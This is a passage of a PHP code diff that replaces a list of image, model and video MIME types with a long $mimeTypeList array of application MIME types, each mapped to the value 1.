'chemical/x-cml'=>1, 'chemical/x-csml'=>1, 'chemical/x-xyz'=>1, 'image/bmp'=>1, 'image/cgm'=>1, 'image/g3fax'=>1, 'image/gif'=>1, 'image/ief'=>1, 'image/jpeg'=>1, - 'image/jpeg'=>1, 'image/jpeg'=>1, 'image/ktx'=>1, 'image/png'=>1, 'image/prs.btif'=>1, 'image/sgi'=>1, 'image/svg+xml'=>1, 'image/svg+xml'=>1, 'image/tiff'=>1, 'image/tiff'=>1, - 'image/vnd.adobe.photoshop'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dvb.subtitle'=>1, - 'image/vnd.djvu'=>1, 'image/vnd.djvu'=>1, 'image/vnd.dwg'=>1, 'image/vnd.dxf'=>1, 'image/vnd.fastbidsheet'=>1, 'image/vnd.fpx'=>1, 'image/vnd.fst'=>1, 'image/vnd.fujixerox.edmics-mmr'=>1, - 'image/vnd.fujixerox.edmics-rlc'=>1, 'image/vnd.ms-modi'=>1, 'image/vnd.ms-photo'=>1, 'image/vnd.net-fpx'=>1, 'image/vnd.wap.wbmp'=>1, 'image/vnd.xiff'=>1, 'image/webp'=>1, - 'image/x-3ds'=>1, 'image/x-cmu-raster'=>1, 'image/x-cmx'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, - 'image/x-icon'=>1, 'image/x-mrsid-image'=>1, 'image/x-pcx'=>1, 'image/x-pict'=>1, 'image/x-pict'=>1, 'image/x-portable-anymap'=>1, 'image/x-portable-bitmap'=>1, - 'image/x-portable-graymap'=>1, 'image/x-portable-pixmap'=>1, 'image/x-rgb'=>1, 'image/x-tga'=>1, 'image/x-xbitmap'=>1, 'image/x-xpixmap'=>1, 'image/x-xwindowdump'=>1, - 'message/rfc822'=>1, 'message/rfc822'=>1, 'model/iges'=>1, 'model/iges'=>1, 'model/mesh'=>1, 'model/mesh'=>1, 'model/mesh'=>1, 'model/vnd.collada+xml'=>1, 'model/vnd.dwf'=>1, - 'model/vnd.gdl'=>1, 'model/vnd.gtw'=>1, 'model/vnd.mts'=>1, 'model/vnd.vtu'=>1, 'model/vrml'=>1, 'model/vrml'=>1, 'model/x3d+binary'=>1, 'model/x3d+binary'=>1, 'model/x3d+vrml'=>1, - 'model/x3d+vrml'=>1, 'model/x3d+xml'=>1, 'model/x3d+xml'=>1, 'video/3gpp'=>1, 'video/3gpp2'=>1, 'video/h261'=>1, 'video/h263'=>1, 'video/h264'=>1, 'video/jpeg'=>1, 'video/jpm'=>1, - 'video/jpm'=>1, 'video/mj2'=>1, 'video/mj2'=>1, 'video/mp4'=>1, 'video/mp4'=>1, 'video/mp4'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, - 'video/ogg'=>1, 'video/quicktime'=>1, 'video/quicktime'=>1, 'video/vnd.dece.hd'=>1, 'video/vnd.dece.hd'=>1, 'video/vnd.dece.mobile'=>1, 'video/vnd.dece.mobile'=>1, 'video/vnd.dece.pd'=>1, - 'video/vnd.dece.pd'=>1, 'video/vnd.dece.sd'=>1, 'video/vnd.dece.sd'=>1, 'video/vnd.dece.video'=>1, 'video/vnd.dece.video'=>1, 'video/vnd.dvb.file'=>1, 'video/vnd.fvt'=>1, - 'video/vnd.mpegurl'=>1, 'video/vnd.mpegurl'=>1, 'video/vnd.ms-playready.media.pyv'=>1, 'video/vnd.uvvu.mp4'=>1, 'video/vnd.uvvu.mp4'=>1, 'video/vnd.vivo'=>1, 'video/webm'=>1, - 'video/x-f4v'=>1, 'video/x-fli'=>1, 'video/x-flv'=>1, 'video/x-m4v'=>1, 'video/x-matroska'=>1, 'video/x-matroska'=>1, 'video/x-matroska'=>1, 'video/x-mng'=>1, 'video/x-ms-asf'=>1, - 'video/x-ms-asf'=>1, 'video/x-ms-vob'=>1, 'video/x-ms-wm'=>1, 'video/x-ms-wmv'=>1, 'video/x-ms-wmx'=>1, 'video/x-ms-wvx'=>1, 'video/x-msvideo'=>1, 'video/x-sgi-movie'=>1, - 'video/x-smv'=>1, 'x-conference/x-cooltalk'=>1 + var $mimeTypeList = array('application/andrew-inset' => 1, 'application/applixware' => 1, 'application/atom+xml' => 1, 'application/atomcat+xml' => 1, 'application/atomsvc+xml' => 1, + 'application/ccxml+xml' => 1, 'application/cdmi-capability' => 1, 'application/cdmi-container' => 1, 'application/cdmi-domain' => 1, 'application/cdmi-object' => 1, + 'application/cdmi-queue' => 1, 'application/cu-seeme' => 1, 'application/davmount+xml' => 1, 'application/docbook+xml' => 1, 'application/dssc+der' => 1, 'application/dssc+xml' => 1, + 'application/ecmascript' => 1, 'application/emma+xml' => 1, 'application/epub+zip' => 1, 'application/exi' => 1, 'application/font-tdpfr' => 1, 'application/gml+xml' => 1, + 'application/gpx+xml' => 1, 'application/gxf' => 1, 'application/hyperstudio' => 1, 'application/inkml+xml' => 1, 'application/inkml+xml' => 1, 'application/ipfix' => 1, + 'application/java-archive' => 1, 'application/java-serialized-object' => 1, 'application/java-vm' => 1, 'application/javascript' => 1, 'application/json' => 1, + 'application/jsonml+json' => 1, 'application/lost+xml' => 1, 'application/mac-binhex40' => 1, 'application/mac-compactpro' => 1, 'application/mads+xml' => 1, + 'application/marc' => 1, 'application/marcxml+xml' => 1, 'application/mathematica' => 1, 'application/mathematica' => 1, 'application/mathematica' => 1, 'application/mathml+xml' => 1, + 'application/mbox' => 1, 'application/mediaservercontrol+xml' => 1, 'application/metalink+xml' => 1, 'application/metalink4+xml' => 1, 'application/mets+xml' => 1, + 'application/mods+xml' => 1, 'application/mp21' => 1, 'application/mp4' => 1, 'application/msword' => 1, 'application/mxf' => 1, 'application/octet-stream' => 1, + 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, + 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, + 'application/octet-stream' => 1, 'application/oda' => 1, 'application/oebps-package+xml' => 1, 'application/ogg' => 1, 'application/omdoc+xml' => 1, 'application/onenote' => 1, + 'application/onenote' => 1, 'application/onenote' => 1, 'application/onenote' => 1, 'application/oxps' => 1, 'application/patch-ops-error+xml' => 1, 'application/pdf' => 1, + 'application/pgp-encrypted' => 1, 'application/pgp-signature' => 1, 'application/pgp-signature' => 1, 'application/pics-rules' => 1, 'application/pkcs10' => 1, + 'application/pkcs7-mime' => 1, 'application/pkcs7-mime' => 1, 'application/pkcs7-signature' => 1, 'application/pkcs8' => 1, 'application/pkix-attr-cert' => 1, + 'application/pkix-cert' => 1, 'application/pkix-crl' => 1, 'application/pkix-pkipath' => 1, 'application/pkixcmp' => 1, 'application/pls+xml' => 1, + 'application/postscript' => 1, 'application/postscript' => 1, 'application/postscript' => 1, 'application/prs.cww' => 1, 'application/pskc+xml' => 1, + 'application/rdf+xml' => 1, 'application/reginfo+xml' => 1, 'application/relax-ng-compact-syntax' => 1, 'application/resource-lists+xml' => 1, + 'application/resource-lists-diff+xml' => 1, 'application/rls-services+xml' => 1, 'application/rpki-ghostbusters' => 1, 'application/rpki-manifest' => 1, + 'application/rpki-roa' => 1, 'application/rsd+xml' => 1, 'application/rss+xml' => 1, 'application/rtf' => 1, 'application/sbml+xml' => 1, 'application/scvp-cv-request' => 1, + 'application/scvp-cv-response' => 1, 'application/scvp-vp-request' => 1, 'application/scvp-vp-response' => 1, 'application/sdp' => 1, 'application/set-payment-initiation' => 1, + 'application/set-registration-initiation' => 1, 'application/shf+xml' => 1, 'application/smil+xml' => 1, 'application/smil+xml' => 1, 'application/sparql-query' => 1, + 'application/sparql-results+xml' => 1, 'application/srgs' => 1, 'application/srgs+xml' => 1, 'application/sru+xml' => 1, 'application/ssdl+xml' => 1, + 'application/ssml+xml' => 1, 'application/tei+xml' => 1, 'application/tei+xml' => 1, 'application/thraud+xml' => 1, 'application/timestamped-data' => 1, + 'application/vnd.3gpp.pic-bw-large' => 1, 'application/vnd.3gpp.pic-bw-small' => 1, 'application/vnd.3gpp.pic-bw-var' => 1, 'application/vnd.3gpp2.tcap' => 1, + 'application/vnd.3m.post-it-notes' => 1, 'application/vnd.accpac.simply.aso' => 1, 'application/vnd.accpac.simply.imp' => 1, 'application/vnd.acucobol' => 1, + 'application/vnd.acucorp' => 1, 'application/vnd.acucorp' => 1, 'application/vnd.adobe.air-application-installer-package+zip' => 1, 'application/vnd.adobe.formscentral.fcdt' => 1, + 'application/vnd.adobe.fxp' => 1, 'application/vnd.adobe.fxp' => 1, 'application/vnd.adobe.xdp+xml' => 1, 'application/vnd.adobe.xfdf' => 1, 'application/vnd.ahead.space' => 1, + 'application/vnd.airzip.filesecure.azf' => 1, 'application/vnd.airzip.filesecure.azs' => 1, 'application/vnd.amazon.ebook' => 1, 'application/vnd.americandynamics.acc' => 1, + 'application/vnd.amiga.ami' => 1, 'application/vnd.android.package-archive' => 1, 'application/vnd.anser-web-certificate-issue-initiation' => 1, + 'application/vnd.anser-web-funds-transfer-initiation' => 1, 'application/vnd.antix.game-component' => 1, 'application/vnd.apple.installer+xml' => 1, + 'application/vnd.apple.mpegurl' => 1, 'application/vnd.aristanetworks.swi' => 1, 'application/vnd.astraea-software.iota' => 1, 'application/vnd.audiograph' => 1, + 'application/vnd.blueice.multipass' => 1, 'application/vnd.bmi' => 1, 'application/vnd.businessobjects' => 1, 'application/vnd.chemdraw+xml' => 1, + 'application/vnd.chipnuts.karaoke-mmd' => 1, 'application/vnd.cinderella' => 1, 'application/vnd.claymore' => 1, 'application/vnd.cloanto.rp9' => 1, + 'application/vnd.clonk.c4group' => 1, 'application/vnd.clonk.c4group' => 1, 'application/vnd.clonk.c4group' => 1, 'application/vnd.clonk.c4group' => 1, + 'application/vnd.clonk.c4group' => 1, 'application/vnd.cluetrust.cartomobile-config' => 1, 'application/vnd.cluetrust.cartomobile-config-pkg' => 1, + 'application/vnd.commonspace' => 1, 'application/vnd.contact.cmsg' => 1, 'application/vnd.cosmocaller' => 1, 'application/vnd.crick.clicker' => 1, + 'application/vnd.crick.clicker.keyboard' => 1, 'application/vnd.crick.clicker.palette' => 1, 'application/vnd.crick.clicker.template' => 1, + 'application/vnd.crick.clicker.wordbank' => 1, 'application/vnd.criticaltools.wbs+xml' => 1, 'application/vnd.ctc-posml' => 1, 'application/vnd.cups-ppd' => 1, + 'application/vnd.curl.car' => 1, 'application/vnd.curl.pcurl' => 1, 'application/vnd.dart' => 1, 'application/vnd.data-vision.rdz' => 1, 'application/vnd.dece.data' => 1, + 'application/vnd.dece.data' => 1, 'application/vnd.dece.data' => 1, 'application/vnd.dece.data' => 1, 'application/vnd.dece.ttml+xml' => 1, 'application/vnd.dece.ttml+xml' => 1, + 'application/vnd.dece.unspecified' => 1, 'application/vnd.dece.unspecified' => 1, 'application/vnd.dece.zip' => 1, 'application/vnd.dece.zip' => 1, + 'application/vnd.denovo.fcselayout-link' => 1, 'application/vnd.dna' => 1, 'application/vnd.dolby.mlp' => 1, 'application/vnd.dpgraph' => 1, 'application/vnd.dreamfactory' => 1, + 'application/vnd.ds-keypoint' => 1, 'application/vnd.dvb.ait' => 1, 'application/vnd.dvb.service' => 1, 'application/vnd.dynageo' => 1, 'application/vnd.ecowin.chart' => 1, + 'application/vnd.enliven' => 1, 'application/vnd.epson.esf' => 1, 'application/vnd.epson.msf' => 1, 'application/vnd.epson.quickanime' => 1, 'application/vnd.epson.salt' => 1, + 'application/vnd.epson.ssf' => 1, 'application/vnd.eszigno3+xml' => 1, 'application/vnd.eszigno3+xml' => 1, 'application/vnd.ezpix-album' => 1, 'application/vnd.ezpix-package' => 1, + 'application/vnd.fdf' => 1, 'application/vnd.fdsn.mseed' => 1, 'application/vnd.fdsn.seed' => 1, 'application/vnd.fdsn.seed' => 1, 'application/vnd.flographit' => 1, + 'application/vnd.fluxtime.clip' => 1, 'application/vnd.framemaker' => 1, 'application/vnd.framemaker' => 1, 'application/vnd.framemaker' => 1, 'application/vnd.framemaker' => 1, + 'application/vnd.frogans.fnc' => 1, 'application/vnd.frogans.ltf' => 1, 'application/vnd.fsc.weblaunch' => 1, 'application/vnd.fujitsu.oasys' => 1, + 'application/vnd.fujitsu.oasys2' => 1, 'application/vnd.fujitsu.oasys3' => 1, 'application/vnd.fujitsu.oasysgp' => 1, 'application/vnd.fujitsu.oasysprs' => 1, + 'application/vnd.fujixerox.ddd' => 1, 'application/vnd.fujixerox.docuworks' => 1, 'application/vnd.fujixerox.docuworks.binder' => 1, 'application/vnd.fuzzysheet' => 1, + 'application/vnd.genomatix.tuxedo' => 1, 'application/vnd.geogebra.file' => 1, 'application/vnd.geogebra.tool' => 1, 'application/vnd.geometry-explorer' => 1, + 'application/vnd.geometry-explorer' => 1, 'application/vnd.geonext' => 1, 'application/vnd.geoplan' => 1, 'application/vnd.geospace' => 1, 'application/vnd.gmx' => 1, + 'application/vnd.google-earth.kml+xml' => 1, 'application/vnd.google-earth.kmz' => 1, 'application/vnd.grafeq' => 1, 'application/vnd.grafeq' => 1, + 'application/vnd.groove-account' => 1, 'application/vnd.groove-help' => 1, 'application/vnd.groove-identity-message' => 1, 'application/vnd.groove-injector' => 1, + 'application/vnd.groove-tool-message' => 1, 'application/vnd.groove-tool-template' => 1, 'application/vnd.groove-vcard' => 1, 'application/vnd.hal+xml' => 1, + 'application/vnd.handheld-entertainment+xml' => 1, 'application/vnd.hbci' => 1, 'application/vnd.hhe.lesson-player' => 1, 'application/vnd.hp-hpgl' => 1, + 'application/vnd.hp-hpid' => 1, 'application/vnd.hp-hps' => 1, 'application/vnd.hp-jlyt' => 1, 'application/vnd.hp-pcl' => 1, 'application/vnd.hp-pclxl' => 1, + 'application/vnd.hydrostatix.sof-data' => 1, 'application/vnd.ibm.minipay' => 1, 'application/vnd.ibm.modcap' => 1, 'application/vnd.ibm.modcap' => 1, 'application/vnd.ibm.modcap' => 1, + 'application/vnd.ibm.rights-management' => 1, 'application/vnd.ibm.secure-container' => 1, 'application/vnd.iccprofile' => 1, 'application/vnd.iccprofile' => 1, + 'application/vnd.igloader' => 1, 'application/vnd.immervision-ivp' => 1, 'application/vnd.immervision-ivu' => 1, 'application/vnd.insors.igm' => 1, 'application/vnd.intercon.formnet' => 1, + 'application/vnd.intercon.formnet' => 1, 'application/vnd.intergeo' => 1, 'application/vnd.intu.qbo' => 1, 'application/vnd.intu.qfx' => 1, 'application/vnd.ipunplugged.rcprofile' => 1, + 'application/vnd.irepository.package+xml' => 1, 'application/vnd.is-xpr' => 1, 'application/vnd.isac.fcs' => 1, 'application/vnd.jam' => 1, 'application/vnd.jcp.javame.midlet-rms' => 1, + 'application/vnd.jisp' => 1, 'application/vnd.joost.joda-archive' => 1, 'application/vnd.kahootz' => 1, 'application/vnd.kahootz' => 1, 'application/vnd.kde.karbon' => 1, + 'application/vnd.kde.kchart' => 1, 'application/vnd.kde.kformula' => 1, 'application/vnd.kde.kivio' => 1, 'application/vnd.kde.kontour' => 1, 'application/vnd.kde.kpresenter' => 1, + 'application/vnd.kde.kpresenter' => 1, 'application/vnd.kde.kspread' => 1, 'application/vnd.kde.kword' => 1, 'application/vnd.kde.kword' => 1, 'application/vnd.kenameaapp' => 1, + 'application/vnd.kidspiration' => 1, 'application/vnd.kinar' => 1, 'application/vnd.kinar' => 1, 'application/vnd.koan' => 1, 'application/vnd.koan' => 1, 'application/vnd.koan' => 1, + 'application/vnd.koan' => 1, 'application/vnd.kodak-descriptor' => 1, 'application/vnd.las.las+xml' => 1, 'application/vnd.llamagraphics.life-balance.desktop' => 1, + 'application/vnd.llamagraphics.life-balance.exchange+xml' => 1, 'application/vnd.lotus-1-2-3' => 1, 'application/vnd.lotus-approach' => 1, 'application/vnd.lotus-freelance' => 1, + 'application/vnd.lotus-notes' => 1, 'application/vnd.lotus-organizer' => 1, 'application/vnd.lotus-screencam' => 1, 'application/vnd.lotus-wordpro' => 1, + 'application/vnd.macports.portpkg' => 1, 'application/vnd.mcd' => 1, 'application/vnd.medcalcdata' => 1, 'application/vnd.mediastation.cdkey' => 1, 'application/vnd.mfer' => 1, + 'application/vnd.mfmp' => 1, 'application/vnd.micrografx.flo' => 1, 'application/vnd.micrografx.igx' => 1, 'application/vnd.mif' => 1, 'application/vnd.mobius.daf' => 1, + 'application/vnd.mobius.dis' => 1, 'application/vnd.mobius.mbk' => 1, 'application/vnd.mobius.mqy' => 1, 'application/vnd.mobius.msl' => 1, 'application/vnd.mobius.plc' => 1, + 'application/vnd.mobius.txf' => 1, 'application/vnd.mophun.application' => 1, 'application/vnd.mophun.certificate' => 1, 'application/vnd.mozilla.xul+xml' => 1, + 'application/vnd.ms-artgalry' => 1, 'application/vnd.ms-cab-compressed' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, + 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel.addin.macroenabled.12' => 1, + 'application/vnd.ms-excel.sheet.binary.macroenabled.12' => 1, 'application/vnd.ms-excel.sheet.macroenabled.12' => 1, 'application/vnd.ms-excel.template.macroenabled.12' => 1, + 'application/vnd.ms-fontobject' => 1, 'application/vnd.ms-htmlhelp' => 1, 'application/vnd.ms-ims' => 1, 'application/vnd.ms-lrm' => 1, 'application/vnd.ms-officetheme' => 1, + 'application/vnd.ms-pki.seccat' => 1, 'application/vnd.ms-pki.stl' => 1, 'application/vnd.ms-powerpoint' => 1, 'application/vnd.ms-powerpoint' => 1, + 'application/vnd.ms-powerpoint' => 1, 'application/vnd.ms-powerpoint.addin.macroenabled.12' => 1, 'application/vnd.ms-powerpoint.presentation.macroenabled.12' => 1, + 'application/vnd.ms-powerpoint.slide.macroenabled.12' => 1, 'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => 1, + 'application/vnd.ms-powerpoint.template.macroenabled.12' => 1, 'application/vnd.ms-project' => 1, 'application/vnd.ms-project' => 1, + 'application/vnd.ms-word.document.macroenabled.12' => 1, 'application/vnd.ms-word.template.macroenabled.12' => 1, 'application/vnd.ms-works' => 1, + 'application/vnd.ms-works' => 1, 'application/vnd.ms-works' => 1, 'application/vnd.ms-works' => 1, 'application/vnd.ms-wpl' => 1, 'application/vnd.ms-xpsdocument' => 1, + 'application/vnd.mseq' => 1, 'application/vnd.musician' => 1, 'application/vnd.muvee.style' => 1, 'application/vnd.mynfc' => 1, 'application/vnd.neurolanguage.nlu' => 1, + 'application/vnd.nitf' => 1, 'application/vnd.nitf' => 1, 'application/vnd.noblenet-directory' => 1, 'application/vnd.noblenet-sealer' => 1, 'application/vnd.noblenet-web' => 1, + 'application/vnd.nokia.n-gage.data' => 1, 'application/vnd.nokia.n-gage.symbian.install' => 1, 'application/vnd.nokia.radio-preset' => 1, 'application/vnd.nokia.radio-presets' => 1, + 'application/vnd.novadigm.edm' => 1, 'application/vnd.novadigm.edx' => 1, 'application/vnd.novadigm.ext' => 1, 'application/vnd.oasis.opendocument.chart' => 1, + 'application/vnd.oasis.opendocument.chart-template' => 1, 'application/vnd.oasis.opendocument.database' => 1, 'application/vnd.oasis.opendocument.formula' => 1, + 'application/vnd.oasis.opendocument.formula-template' => 1, 'application/vnd.oasis.opendocument.graphics' => 1, 'application/vnd.oasis.opendocument.graphics-template' => 1, + 'application/vnd.oasis.opendocument.image' => 1, 'application/vnd.oasis.opendocument.image-template' => 1, 'application/vnd.oasis.opendocument.presentation' => 1, + 'application/vnd.oasis.opendocument.presentation-template' => 1, 'application/vnd.oasis.opendocument.spreadsheet' => 1, 'application/vnd.oasis.opendocument.spreadsheet-template' => 1, + 'application/vnd.oasis.opendocument.text' => 1, 'application/vnd.oasis.opendocument.text-master' => 1, 'application/vnd.oasis.opendocument.text-template' => 1, + 'application/vnd.oasis.opendocument.text-web' => 1, 'application/vnd.olpc-sugar' => 1, 'application/vnd.oma.dd2+xml' => 1, 'application/vnd.openofficeorg.extension' => 1, + 'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 1, 'application/vnd.openxmlformats-officedocument.presentationml.slide' => 1, + 'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 1, 'application/vnd.openxmlformats-officedocument.presentationml.template' => 1, + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 1, 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 1, + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 1, 'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 1, + 'application/vnd.osgeo.mapguide.package' => 1, 'application/vnd.osgi.dp' => 1, 'application/vnd.osgi.subsystem' => 1, 'application/vnd.palm' => 1, 'application/vnd.palm' => 1, + 'application/vnd.palm' => 1, 'application/vnd.pawaafile' => 1, 'application/vnd.pg.format' => 1, 'application/vnd.pg.osasli' => 1, 'application/vnd.picsel' => 1, 'application/vnd.pmi.widget' => 1, + 'application/vnd.pocketlearn' => 1, 'application/vnd.powerbuilder6' => 1, 'application/vnd.previewsystems.box' => 1, 'application/vnd.proteus.magazine' => 1, + 'application/vnd.publishare-delta-tree' => 1, 'application/vnd.pvi.ptid1' => 1, 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, + 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, + 'application/vnd.realvnc.bed' => 1, 'application/vnd.recordare.musicxml' => 1, 'application/vnd.recordare.musicxml+xml' => 1, 'application/vnd.rig.cryptonote' => 1, + 'application/vnd.rim.cod' => 1, 'application/vnd.rn-realmedia' => 1, 'application/vnd.rn-realmedia-vbr' => 1, 'application/vnd.route66.link66+xml' => 1, 'application/vnd.sailingtracker.track' => 1, + 'application/vnd.seemail' => 1, 'application/vnd.sema' => 1, 'application/vnd.semd' => 1, 'application/vnd.semf' => 1, 'application/vnd.shana.informed.formdata' => 1, + 'application/vnd.shana.informed.formtemplate' => 1, 'application/vnd.shana.informed.interchange' => 1, 'application/vnd.shana.informed.package' => 1, 'application/vnd.simtech-mindmapper' => 1, + 'application/vnd.simtech-mindmapper' => 1, 'application/vnd.smaf' => 1, 'application/vnd.smart.teacher' => 1, 'application/vnd.solent.sdkm+xml' => 1, 'application/vnd.solent.sdkm+xml' => 1, + 'application/vnd.spotfire.dxp' => 1, 'application/vnd.spotfire.sfs' => 1, 'application/vnd.stardivision.calc' => 1, 'application/vnd.stardivision.draw' => 1, + 'application/vnd.stardivision.impress' => 1, 'application/vnd.stardivision.math' => 1, 'application/vnd.stardivision.writer' => 1, 'application/vnd.stardivision.writer' => 1, + 'application/vnd.stardivision.writer-global' => 1, 'application/vnd.stepmania.package' => 1, 'application/vnd.stepmania.stepchart' => 1, 'application/vnd.sun.xml.calc' => 1, + 'application/vnd.sun.xml.calc.template' => 1, 'application/vnd.sun.xml.draw' => 1, 'application/vnd.sun.xml.draw.template' => 1, 'application/vnd.sun.xml.impress' => 1, + 'application/vnd.sun.xml.impress.template' => 1, 'application/vnd.sun.xml.math' => 1, 'application/vnd.sun.xml.writer' => 1, 'application/vnd.sun.xml.writer.global' => 1, + 'application/vnd.sun.xml.writer.template' => 1, 'application/vnd.sus-calendar' => 1, 'application/vnd.sus-calendar' => 1, 'application/vnd.svd' => 1, 'application/vnd.symbian.install' => 1, + 'application/vnd.symbian.install' => 1, 'application/vnd.syncml+xml' => 1, 'application/vnd.syncml.dm+wbxml' => 1, 'application/vnd.syncml.dm+xml' => 1, + 'application/vnd.tao.intent-module-archive' => 1, 'application/vnd.tcpdump.pcap' => 1, 'application/vnd.tcpdump.pcap' => 1, 'application/vnd.tcpdump.pcap' => 1, + 'application/vnd.tmobile-livetv' => 1, 'application/vnd.trid.tpt' => 1, 'application/vnd.triscape.mxs' => 1, 'application/vnd.trueapp' => 1, 'application/vnd.ufdl' => 1, 'application/vnd.ufdl' => 1, + 'application/vnd.uiq.theme' => 1, 'application/vnd.umajin' => 1, 'application/vnd.unity' => 1, 'application/vnd.uoml+xml' => 1, 'application/vnd.vcx' => 1, 'application/vnd.visio' => 1, + 'application/vnd.visio' => 1, 'application/vnd.visio' => 1, 'application/vnd.visio' => 1, 'application/vnd.visionary' => 1, 'application/vnd.vsf' => 1, 'application/vnd.wap.wbxml' => 1, + 'application/vnd.wap.wmlc' => 1, 'application/vnd.wap.wmlscriptc' => 1, 'application/vnd.webturbo' => 1, 'application/vnd.wolfram.player' => 1, 'application/vnd.wordperfect' => 1, + 'application/vnd.wqd' => 1, 'application/vnd.wt.stf' => 1, 'application/vnd.xara' => 1, 'application/vnd.xfdl' => 1, 'application/vnd.yamaha.hv-dic' => 1, 'application/vnd.yamaha.hv-script' => 1, + 'application/vnd.yamaha.hv-voice' => 1, 'application/vnd.yamaha.openscoreformat' => 1, 'application/vnd.yamaha.openscoreformat.osfpvg+xml' => 1, 'application/vnd.yamaha.smaf-audio' => 1, + 'application/vnd.yamaha.smaf-phrase' => 1, 'application/vnd.yellowriver-custom-menu' => 1, 'application/vnd.zul' => 1, 'application/vnd.zul' => 1, 'application/vnd.zzazz.deck+xml' => 1, + 'application/voicexml+xml' => 1, 'application/widget' => 1, 'application/winhlp' => 1, 'application/wsdl+xml' => 1, 'application/wspolicy+xml' => 1, 'application/x-7z-compressed' => 1, + 'application/x-abiword' => 1, 'application/x-ace-compressed' => 1, 'application/x-apple-diskimage' => 1, 'application/x-authorware-bin' => 1, 'application/x-authorware-bin' => 1, + 'application/x-authorware-bin' => 1, 'application/x-authorware-bin' => 1, 'application/x-authorware-map' => 1, 'application/x-authorware-seg' => 1, 'application/x-bcpio' => 1, + 'application/x-bittorrent' => 1, 'application/x-blorb' => 1, 'application/x-blorb' => 1, 'application/x-bzip' => 1, 'application/x-bzip2' => 1, 'application/x-bzip2' => 1, 'application/x-cbr' => 1, + 'application/x-cbr' => 1, 'application/x-cbr' => 1, 'application/x-cbr' => 1, 'application/x-cbr' => 1, 'application/x-cdlink' => 1, 'application/x-cfs-compressed' => 1, 'application/x-chat' => 1, + 'application/x-chess-pgn' => 1, 'application/x-conference' => 1, 'application/x-cpio' => 1, 'application/x-csh' => 1, 'application/x-debian-package' => 1, 'application/x-debian-package' => 1, + 'application/x-dgc-compressed' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, + 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-doom' => 1, 'application/x-dtbncx+xml' => 1, + 'application/x-dtbook+xml' => 1, 'application/x-dtbresource+xml' => 1, 'application/x-dvi' => 1, 'application/x-envoy' => 1, 'application/x-eva' => 1, 'application/x-font-bdf' => 1, + 'application/x-font-ghostscript' => 1, 'application/x-font-linux-psf' => 1, 'application/x-font-otf' => 1, 'application/x-font-pcf' => 1, 'application/x-font-snf' => 1, + 'application/x-font-ttf' => 1, 'application/x-font-ttf' => 1, 'application/x-font-type1' => 1, 'application/x-font-type1' => 1, 'application/x-font-type1' => 1, 'application/x-font-type1' => 1, + 'application/x-font-woff' => 1, 'application/x-freearc' => 1, 'application/x-futuresplash' => 1, 'application/x-gca-compressed' => 1, 'application/x-glulx' => 1, 'application/x-gnumeric' => 1, + 'application/x-gramps-xml' => 1, 'application/x-gtar' => 1, 'application/x-hdf' => 1, 'application/x-install-instructions' => 1, 'application/x-iso9660-image' => 1, + 'application/x-java-jnlp-file' => 1, 'application/x-latex' => 1, 'application/x-lzh-compressed' => 1, 'application/x-lzh-compressed' => 1, 'application/x-mie' => 1, + 'application/x-mobipocket-ebook' => 1, 'application/x-mobipocket-ebook' => 1, 'application/x-ms-application' => 1, 'application/x-ms-shortcut' => 1, 'application/x-ms-wmd' => 1, + 'application/x-ms-wmz' => 1, 'application/x-ms-xbap' => 1, 'application/x-msaccess' => 1, 'application/x-msbinder' => 1, 'application/x-mscardfile' => 1, 'application/x-msclip' => 1, + 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msmediaview' => 1, + 'application/x-msmediaview' => 1, 'application/x-msmediaview' => 1, 'application/x-msmetafile' => 1, 'application/x-msmetafile' => 1, 'application/x-msmetafile' => 1, 'application/x-msmetafile' => 1, + 'application/x-msmoney' => 1, 'application/x-mspublisher' => 1, 'application/x-msschedule' => 1, 'application/x-msterminal' => 1, 'application/x-mswrite' => 1, 'application/x-netcdf' => 1, + 'application/x-netcdf' => 1, 'application/x-nzb' => 1, 'application/x-pkcs12' => 1, 'application/x-pkcs12' => 1, 'application/x-pkcs7-certificates' => 1, 'application/x-pkcs7-certificates' => 1, + 'application/x-pkcs7-certreqresp' => 1, 'application/x-rar-compressed' => 1, 'application/x-research-info-systems' => 1, 'application/x-sh' => 1, 'application/x-shar' => 1, + 'application/x-shockwave-flash' => 1, 'application/x-silverlight-app' => 1, 'application/x-silverlight-2' => 1, 'application/x-sql' => 1, 'application/x-stuffit' => 1, 'application/x-stuffitx' => 1, + 'application/x-subrip' => 1, 'application/x-sv4cpio' => 1, 'application/x-sv4crc' => 1, 'application/x-t3vm-image' => 1, 'application/x-tads' => 1, 'application/x-tar' => 1, 'application/x-tcl' => 1, + 'application/x-tex' => 1, 'application/x-tex-tfm' => 1, 'application/x-texinfo' => 1, 'application/x-texinfo' => 1, 'application/x-tgif' => 1, 'application/x-ustar' => 1, 